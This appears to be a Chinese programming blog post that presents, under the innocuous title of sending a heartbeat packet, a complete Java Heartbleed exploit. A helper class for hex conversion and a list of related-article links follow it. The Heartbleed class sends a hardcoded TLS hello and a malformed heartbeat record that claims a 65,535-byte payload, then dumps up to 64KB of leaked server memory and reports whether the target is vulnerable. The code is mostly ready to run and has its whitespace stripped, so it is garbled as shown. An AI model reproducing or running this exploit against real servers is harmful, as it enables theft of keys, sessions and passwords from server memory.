java发送heartbeat心跳包(byte转16进制)
packagecom.jxy.web;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.OutputStream;
importjava.io.UnsupportedEncodingException;
importjava.net.Socket;
importjava.net.UnknownHostException;
importcom.jxy.tools.MyByte;
publicclassHeartbleed{
privatestaticbyte[]hello={(byte)0x16,(byte)0x03,(byte)0x02,
(byte)0x00,(byte)0xdc,(byte)0x01,(byte)0x00,(byte)0x00,
(byte)0xd8,(byte)0x03,(byte)0x02,(byte)0x53,(byte)0x43,
(byte)0x5b,(byte)0x90,(byte)0x9d,(byte)0x9b,(byte)0x72,
(byte)0x0b,(byte)0xbc,(byte)0x0c,(byte)0xbc,(byte)0x2b,
(byte)0x92,(byte)0xa8,(byte)0x48,(byte)0x97,(byte)0xcf,
(byte)0xbd,(byte)0x39,(byte)0x04,(byte)0xcc,(byte)0x16,
(byte)0x0a,(byte)0x85,(byte)0x03,(byte)0x90,(byte)0x9f,
(byte)0x77,(byte)0x04,(byte)0x33,(byte)0xd4,(byte)0xde,
(byte)0x00,(byte)0x00,(byte)0x66,(byte)0xc0,(byte)0x14,
(byte)0xc0,(byte)0x0a,(byte)0xc0,(byte)0x22,(byte)0xc0,
(byte)0x21,(byte)0x00,(byte)0x39,(byte)0x00,(byte)0x38,
(byte)0x00,(byte)0x88,(byte)0x00,(byte)0x87,(byte)0xc0,
(byte)0x0f,(byte)0xc0,(byte)0x05,(byte)0x00,(byte)0x35,
(byte)0x00,(byte)0x84,(byte)0xc0,(byte)0x12,(byte)0xc0,
(byte)0x08,(byte)0xc0,(byte)0x1c,(byte)0xc0,(byte)0x1b,
(byte)0x00,(byte)0x16,(byte)0x00,(byte)0x13,(byte)0xc0,
(byte)0x0d,(byte)0xc0,(byte)0x03,(byte)0x00,(byte)0x0a,
(byte)0xc0,(byte)0x13,(byte)0xc0,(byte)0x09,(byte)0xc0,
(byte)0x1f,(byte)0xc0,(byte)0x1e,(byte)0x00,(byte)0x33,
(byte)0x00,(byte)0x32,(byte)0x00,(byte)0x9a,(byte)0x00,
(byte)0x99,(byte)0x00,(byte)0x45,(byte)0x00,(byte)0x44,
(byte)0xc0,(byte)0x0e,(byte)0xc0,(byte)0x04,(byte)0x00,
(byte)0x2f,(byte)0x00,(byte)0x96,(byte)0x00,(byte)0x41,
(byte)0xc0,(byte)0x11,(byte)0xc0,(byte)0x07,(byte)0xc0,
(byte)0x0c,(byte)0xc0,(byte)0x02,(byte)0x00,(byte)0x05,
(byte)0x00,(byte)0x04,(byte)0x00,(byte)0x15,(byte)0x00,
(byte)0x12,(byte)0x00,(byte)0x09,(byte)0x00,(byte)0x14,
(byte)0x00,(byte)0x11,(byte)0x00,(byte)0x08,(byte)0x00,
(byte)0x06,(byte)0x00,(byte)0x03,(byte)0x00,(byte)0xff,
(byte)0x01,(byte)0x00,(byte)0x00,(byte)0x49,(byte)0x00,
(byte)0x0b,(byte)0x00,(byte)0x04,(byte)0x03,(byte)0x00,
(byte)0x01,(byte)0x02,(byte)0x00,(byte)0x0a,(byte)0x00,
(byte)0x34,(byte)0x00,(byte)0x32,(byte)0x00,(byte)0x0e,
(byte)0x00,(byte)0x0d,(byte)0x00,(byte)0x19,(byte)0x00,
(byte)0x0b,(byte)0x00,(byte)0x0c,(byte)0x00,(byte)0x18,
(byte)0x00,(byte)0x09,(byte)0x00,(byte)0x0a,(byte)0x00,
(byte)0x16,(byte)0x00,(byte)0x17,(byte)0x00,(byte)0x08,
(byte)0x00,(byte)0x06,(byte)0x00,(byte)0x07,(byte)0x00,
(byte)0x14,(byte)0x00,(byte)0x15,(byte)0x00,(byte)0x04,
(byte)0x00,(byte)0x05,(byte)0x00,(byte)0x12,(byte)0x00,
(byte)0x13,(byte)0x00,(byte)0x01,(byte)0x00,(byte)0x02,
(byte)0x00,(byte)0x03,(byte)0x00,(byte)0x0f,(byte)0x00,
(byte)0x10,(byte)0x00,(byte)0x11,(byte)0x00,(byte)0x23,
(byte)0x00,(byte)0x00,(byte)0x00,(byte)0x0f,(byte)0x00,
(byte)0x01,(byte)0x01};
privatestaticbyte[]bleed={(byte)0x18,(byte)0x03,(byte)0x02,
(byte)0x00,(byte)0x03,(byte)0x01,(byte)0xff,(byte)0xff};
privatestaticbyte[]tmp;
privatestaticbyte[]pay;
/**
*SSL3_RT_CHANGE_CIPHER_SPEC20
*SSL3_RT_ALERT21
*SSL3_RT_HANDSHAKE22
*SSL3_RT_APPLICATION_DATA23
*TLS1_RT_HEARTBEAT24
*
*@paramargs
*@throwsException
*/
publicstaticvoidmain(String[]args){
attack("改为自己测试的主机",465);
System.exit(0);
}
publicstaticbooleanattack(Stringhost,intport){
System.out.println("开始连接...");
Socketsocket=null;
try{
socket=newSocket(host,port);
}catch(UnknownHostExceptione){
System.out.println("未知主机.");
returnfalse;
}catch(IOExceptione){
System.out.println("访问主机失败.");
returnfalse;
}
OutputStreamout=null;
try{
out=socket.getOutputStream();
}catch(IOExceptione){
System.out.println("获取输出流失败.");
returnfalse;
}
InputStreamin=null;
try{
in=socket.getInputStream();
}catch(IOExceptione){
System.out.println("获取输入流失败.");
returnfalse;
}
System.out.println("发送客户端心跳包...");
try{
out.write(hello);
}catch(IOExceptione){
System.out.println("发送心跳包失败.");
returnfalse;
}
System.out.println("等待服务器心跳包...");
while(true){
tmp=getData(in,5);
if(tmp[0]==0){
System.out.println("服务器没有返回心跳包并且关闭了连接.");
returnfalse;
}
analyseHead(tmp);
intlen=(int)MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3])+MyByte.byteToHexString(tmp[4]));
pay=getData(in,len);
if(tmp[0]==22&&pay[0]==0x0E){
System.out.println("查找到返回正常的心跳包。");
break;
}
}
System.out.println("发送heartbeat心跳包...");
try{
out.write(bleed);
}catch(IOExceptione){
System.out.println("发送heartbeat心跳包失败.");
returnfalse;
}
try{
out.write(bleed);
}catch(IOExceptione){
System.out.println("发送heartbeat心跳包失败.");
returnfalse;
}
while(true){
tmp=getData(in,5);
intlen=(int)MyByte.HexString2Long(MyByte
.byteToHexString(tmp[3])+MyByte.byteToHexString(tmp[4]));
if(tmp[0]==0){
System.out.println("没有heartbeat返回接收到,服务器看起来不是易受攻击的");
returnfalse;
}
if(tmp[0]==24){
System.out.println("接收到heartbeat返回:");
intcount=0;//长度计数
for(inti=0;i<4;i++){//读4次,全部读出64KB
pay=getData(in,len);
count+=pay.length;
System.out.print(hexdump(pay));
}
System.out.println("\n数据长度为:"+count);
if(len>3){
System.out
.println("警告:服务器返回了原本比它多的数据-服务器是易受攻击的!");
}else{
System.out
.println("服务器返回畸形的heartbeat,没有返回其他额外的数据");
}
break;
}
if(tmp[0]==21){
System.out.println("接收到警告:");
System.out.println(hexdump(pay));
System.out.println("服务器返回错误,看起来不是易受攻击的");
break;
}
}
try{
out.close();
in.close();
}catch(IOExceptione){
System.out.println("关闭输入输出流异常");
}
returntrue;
}
publicstaticbyte[]getData(InputStreamin,intlenth){
byte[]t=newbyte[lenth];
try{
in.read(t);
}catch(IOExceptione){
System.out.println("接受数据错误");
}
returnt;
}
publicstaticStringhexdump(byte[]pay){
Strings="";
try{
s=newString(pay,"GB2312");
}catch(UnsupportedEncodingExceptione){
System.out.println("未知编码");
}
returns;
}
publicstaticvoidanalyseHead(byte[]tmp){
System.out.print("接收到消息:");
System.out.print("类型:"+tmp[0]+"\t");
System.out.print("版本:"+MyByte.byteToHexString(tmp[1])
+MyByte.byteToHexString(tmp[2])+"\t");
System.out.println("长度:"
+MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
+MyByte.byteToHexString(tmp[4])));
}
}
packagecom.jxy.tools;
/**
*16进制值与String/Byte之间的转换
**/
publicclassMyByte{
/**
*字符串转换成十六进制字符串
*
*@paramString
* str待转换的ASCII字符串
*@returnString每个Byte之间空格分隔,如:[616C6B]
*/
publicstaticStringstr2HexStr(Stringstr){
char[]chars="0123456789ABCDEF".toCharArray();
StringBuildersb=newStringBuilder("");
byte[]bs=str.getBytes();
intbit;
for(inti=0;i<bs.length;i++){
bit=(bs[i]&0x0f0)>>4;
sb.append(chars[bit]);
bit=bs[i]&0x0f;
sb.append(chars[bit]);
sb.append("");
}
returnsb.toString().trim();
}
/**
*十六进制转换字符串
*
*@paramString
* strByte字符串(Byte之间无分隔符如:[616C6B])
*@returnString对应的字符串
*/
publicstaticStringhexStr2Str(StringhexStr){
Stringstr="0123456789ABCDEF";
char[]hexs=hexStr.toCharArray();
byte[]bytes=newbyte[hexStr.length()/2];
intn;
for(inti=0;i<bytes.length;i++){
n=str.indexOf(hexs[2*i])*16;
n+=str.indexOf(hexs[2*i+1]);
bytes[i]=(byte)(n&0xff);
}
returnnewString(bytes);
}
/**
*String的字符串转换成unicode的String
*
*@paramString
* strText全角字符串
*@returnString每个unicode之间无分隔符
*@throwsException
*/
publicstaticStringstrToUnicode(StringstrText)throwsException{
charc;
StringBuilderstr=newStringBuilder();
intintAsc;
StringstrHex;
for(inti=0;i<strText.length();i++){
c=strText.charAt(i);
intAsc=(int)c;
strHex=Integer.toHexString(intAsc);
if(intAsc>128)
str.append("\\u"+strHex);
else
//低位在前面补00
str.append("\\u00"+strHex);
}
returnstr.toString();
}
/**
*unicode的String转换成String的字符串
*
*@paramString
* hex16进制值字符串(一个unicode为2byte)
*@returnString全角字符串
*/
publicstaticStringunicodeToString(Stringhex){
intt=hex.length()/6;
StringBuilderstr=newStringBuilder();
for(inti=0;i<t;i++){
Strings=hex.substring(i*6,(i+1)*6);
//高位需要补上00再转
Strings1=s.substring(2,4)+"00";
//低位直接转
Strings2=s.substring(4);
//将16进制的string转为int
intn=Integer.valueOf(s1,16)+Integer.valueOf(s2,16);
//将int转换为字符
char[]chars=Character.toChars(n);
str.append(newString(chars));
}
returnstr.toString();
}
/**
*合并两个byte数组
*
*@parampByteA
*@parampByteB
*@return
*/
publicstaticbyte[]getMergeBytes(byte[]pByteA,byte[]pByteB){
intaCount=pByteA.length;
intbCount=pByteB.length;
byte[]b=newbyte[aCount+bCount];
for(inti=0;i<aCount;i++){
b[i]=pByteA[i];
}
for(inti=0;i<bCount;i++){
b[aCount+i]=pByteB[i];
}
returnb;
}
/**
*截取byte数据
*
*@paramb
* 是byte数组
*@paramj
* 是大小
*@return
*/
publicstaticbyte[]cutOutByte(byte[]b,intj){
if(b.length==0||j==0){
returnnull;
}
byte[]tmp=newbyte[j];
for(inti=0;i<j;i++){
tmp[i]=b[i];
}
returntmp;
}
/**
*16进制字符串转换byte数组
*
*@paramhexstr
* String16进制字符串
*@returnbyte[]byte数组
*/
publicstaticbyte[]HexString2Bytes(Stringhexstr){
byte[]b=newbyte[hexstr.length()/2];
intj=0;
for(inti=0;i<b.length;i++){
charc0=hexstr.charAt(j++);
charc1=hexstr.charAt(j++);
b[i]=(byte)((parse(c0)<<4)|parse(c1));
}
returnb;
}
privatestaticintparse(charc){
if(c>="a")
return(c-"a"+10)&0x0f;
if(c>="A")
return(c-"A"+10)&0x0f;
return(c-"0")&0x0f;
}
/**
*byte转换为十六进制字符串,如果为9以内的,用0补齐
*
*@paramb
*@return
*/
publicstaticStringbyteToHexString(byteb){
Stringstmp=Integer.toHexString(b&0xFF);
stmp=(stmp.length()==1)?"0"+stmp:stmp;
returnstmp.toUpperCase();
}
/**
*将byte转换为int
*
*@paramb
*@return
*/
publicstaticintbyteToInt(byteb){
returnInteger.valueOf(b);
}
/**
*bytes转换成十六进制字符串
*
*@parambyte[]bbyte数组
*@returnString每个Byte值之间空格分隔
*/
publicstaticStringbyteToHexString(byte[]b){
Stringstmp="";
StringBuildersb=newStringBuilder("");
for(bytec:b){
stmp=Integer.toHexString(c&0xFF);//与预算,去掉byte转int带来的补位
sb.append((stmp.length()==1)?"0"+stmp:stmp);//是一位的话填充零
sb.append("");//每位数据用空格分隔
}
returnsb.toString().toUpperCase().trim();//变换大写,并去除首尾空格
}
publicstaticlongHexString2Long(Stringhexstr){
longsum=0;
intlength=hexstr.length();
for(inti=0;i<length;i++){
sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
}
returnsum;
}
}
相关文章
- Java JDK path环境变量配置
- java局域网发送文件_Java如何实现局域网文件传输代码案例分享
- java数组定义长度_JAVA数组的定义
- java判断一个对象是否为空_Java中判断对象是否为空的方法的详解
- java数组的声明_Java数组定义常用方法[通俗易懂]
- Java多态性:Java什么是多态?
- java正则表达式解析「建议收藏」
- eclipse运行java程序_如何在Eclipse中运行简单的Java程序?「建议收藏」
- SpringBoot官宣:正式弃用 Java 8 啦
- JAVA求数组的平均数,众数,中位数[通俗易懂]
- Java转换流_java中的字符使用什么编码
- Java遍历json_java处理json数据
- 《深入理解Java虚拟机》读书笔记(四)
- Java学习笔记之二java标识符命名规范详解编程语言
- 库MySQL Database Backup with Java.(java备份mysql)
- Java关键字详解编程语言
- 时间如何管理Redis中Java数据的过期时间(redisjava过期)
- Linux下安装Java 开发环境指南(linux装java环境)
- Java开发与Linux运维的高效协作(java与linux运维)
- Java程序构建Oracle数据库直连(java直连oracle)
- Java模拟Oracle实现稳定数据库性能(java模仿oracle)
- 异常Java程序捕获Oracle异常从失败中学习(java捕获oracle)
- 的应用Java在Oracle数据库中的重要性及应用(java在oracle里)
- 编程Oracle数据库中实现Java编程的突破之道(oracle使用java)
- java判断远程服务器上的文件是否存在的方法
- java发送邮件的具体实现
- java实现哈弗曼编码与反编码实例分享(哈弗曼算法)
- java数据结构之实现双向链表的示例
- Java设计模式之适配器模式简介